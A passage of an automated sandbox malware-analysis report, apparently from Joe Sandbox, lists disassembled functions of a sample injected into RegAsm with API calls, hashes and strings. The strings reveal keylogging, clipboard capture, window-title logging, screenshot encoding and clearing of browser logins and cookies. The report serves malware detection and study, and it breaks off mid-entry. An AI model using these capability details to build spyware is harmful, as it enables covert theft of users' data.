                      • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                      Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                      • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: GetCursorInfo$User32.dll
                      • API String ID: 1646373207-2714051624
                      • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                      • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                      • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                      • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                      Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                      • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: GetLastInputInfo$User32.dll
                      • API String ID: 2574300362-1519888992
                      • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                      • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                      • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                      • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                      Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: __alldvrm$_strrchr
                      • String ID:
                      • API String ID: 1036877536-0
                      • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                      • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                      • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                      • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                      Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                      • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                      • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                      • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                      Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                      • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                      • __freea.LIBCMT ref: 100087D5
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                      • String ID:
                      • API String ID: 2652629310-0
                      • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                      • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                      • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                      • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                      Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • Cleared browsers logins and cookies., xrefs: 0040C0F5
                      • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep
                      • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                      • API String ID: 3472027048-1236744412
                      • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                      • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                      • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                      • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                      Function 004194C4 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                      Download Yara Rule
                      APIs
                      • EnumDisplayMonitors.USER32(00000000,00000000,004195CF,00000000), ref: 004194F5
                      • EnumDisplayDevicesW.USER32(?), ref: 00419525
                      • EnumDisplayDevicesW.USER32(?,?,?,00000000), ref: 0041959A
                      • EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 004195B7
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DisplayEnum$Devices$Monitors
                      • String ID:
                      • API String ID: 1432082543-0
                      • Opcode ID: 87e58e3218148989140d0ffac94925d1ebdf8dad9c36676593952cebb4287d16
                      • Instruction ID: 9f89b1fc864c89aa53311e19646eec67f909338e1adf78e73a6452d568b12732
                      • Opcode Fuzzy Hash: 87e58e3218148989140d0ffac94925d1ebdf8dad9c36676593952cebb4287d16
                      • Instruction Fuzzy Hash: 6F218072108314ABD221DF26DC49EABBBECEBD1764F00053FF459D3190EB749A49C66A
                      Function 10001CCA Relevance: 6.1, APIs: 4, Instructions: 84fileCOMMON
                      Download Yara Rule
                      APIs
                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10001D72
                      • CloseHandle.KERNEL32(00000000), ref: 10001D7D
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseHandleReadSize
                      • String ID:
                      • API String ID: 3642004256-0
                      • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                      • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                      • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                      • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                      Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                        • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                        • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                      • Sleep.KERNEL32(000001F4), ref: 0040A573
                      • Sleep.KERNEL32(00000064), ref: 0040A5FD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$SleepText$ForegroundLength
                      • String ID: [ $ ]
                      • API String ID: 3309952895-93608704
                      • Opcode ID: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                      • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                      • Opcode Fuzzy Hash: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                      • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                      Function 0041B7FF Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: SystemTimes$Sleep__aulldiv
                      • String ID:
                      • API String ID: 188215759-0
                      • Opcode ID: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
                      • Instruction ID: 72b4c32e7059473e424b83a6cc96647c38f9827b21069785d395d2d8421d6a64
                      • Opcode Fuzzy Hash: 1460bbf00a7581670417fcbf42b3a1dfd5e2489cdc62901d12e8026d78940c5d
                      • Instruction Fuzzy Hash: B0113D7A5083456BD304FAB5CC85DEB7BACEAC4654F040A3EF54A82051FE68EA4886A5
                      Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                      • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                      • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                      • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                      Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                      • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                      • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                      • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                      Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                        • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                      • _UnwindNestedFrames.LIBCMT ref: 00439891
                      • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                      • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                      • String ID:
                      • API String ID: 2633735394-0
                      • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                      • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                      • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                      • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                      Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: MetricsSystem
                      • String ID:
                      • API String ID: 4116985748-0
                      • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                      • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                      • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                      • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                      Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                      Download Yara Rule
                      APIs
                      • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                      • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                      • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                        • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                      • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                      • String ID:
                      • API String ID: 1761009282-0
                      • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                      • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                      • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                      • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                      Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                      Download Yara Rule
                      APIs
                      • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorHandling__start
                      • String ID: pow
                      • API String ID: 3213639722-2276729525
                      • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                      • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                      • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                      • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                      Function 100063F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 1000655C
                        • Part of subcall function 100062BC: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 100062BE
                        • Part of subcall function 100062BC: GetCurrentProcess.KERNEL32(C0000417), ref: 100062E0
                        • Part of subcall function 100062BC: TerminateProcess.KERNEL32(00000000), ref: 100062E7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                      • String ID: *?$.
                      • API String ID: 2667617558-3972193922
                      • Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                      • Instruction ID: 55016225c6cf3c2ad74d5bf99958d96f24b8fe448c0df4d83e2be8db5664878a
                      • Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                      • Instruction Fuzzy Hash: 2D519475E0060A9FEB14CFA8CC81AADB7F6FF4C394F258169E854E7349D635AE018B50
                      Function 00418A92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                      Download Yara Rule
                      APIs
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418ABE
                        • Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A
                      • SHCreateMemStream.SHLWAPI(00000000), ref: 00418B0B
                        • Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD
                        • Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                      • String ID: image/jpeg
                      • API String ID: 1291196975-3785015651
                      • Opcode ID: 6e04f8ac358d86261f340c02fc4254ea4fa5b72d51dab4b51890127c9f8658cf
                      • Instruction ID: 71c7567624fb1f0fb67e5b365d5baafb3eed0516d04e2b9615b8e3d4f66a2876
                      • Opcode Fuzzy Hash: 6e04f8ac358d86261f340c02fc4254ea4fa5b72d51dab4b51890127c9f8658cf
                      • Instruction Fuzzy Hash: 13317F71504300AFC301EF65CC84DAFB7E9FF8A704F00496EF985A7251DB7999448BA6
                      Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • __Init_thread_footer.LIBCMT ref: 0040B797
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Init_thread_footer__onexit
                      • String ID: [End of clipboard]$[Text copied to clipboard]
                      • API String ID: 1881088180-3686566968
                      • Opcode ID: b75b6418a390f749317f2ab44173591ff602460dbf5675c7faf818e64fc176e3
                      • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                      • Opcode Fuzzy Hash: b75b6418a390f749317f2ab44173591ff602460dbf5675c7faf818e64fc176e3
                      • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                      Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: ACP$OCP
                      • API String ID: 0-711371036
                      • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                      • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                      • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                      • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                      Function 00418B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                      Download Yara Rule
                      APIs
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418BAA
                        • Part of subcall function 00418656: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418AD1,00000000,?,?,?,?,00000000), ref: 0041866A
                      • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418BCF
                        • Part of subcall function 004186CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B27,00000000,?,?), ref: 004186DD
                        • Part of subcall function 00418679: GdipDisposeImage.GDIPLUS(?,00418B82), ref: 00418682
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                      • String ID: image/png
                      • API String ID: 1291196975-2966254431
                      • Opcode ID: a27ec27d9e18f0a906ecaac1dc19e5732830617660cf953b76ad9b2867ca9ec8
                      • Instruction ID: c6f894421d6f6d4ca6915e56eba1d7ff3797fde04a376feef2065c2e579c4a83
                      • Opcode Fuzzy Hash: a27ec27d9e18f0a906ecaac1dc19e5732830617660cf953b76ad9b2867ca9ec8
                      • Instruction Fuzzy Hash: 30219371204211AFC705EB61CC88CBFBBADEFCA754F10092EF54693161DB399945CBA6
                      Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                      Strings
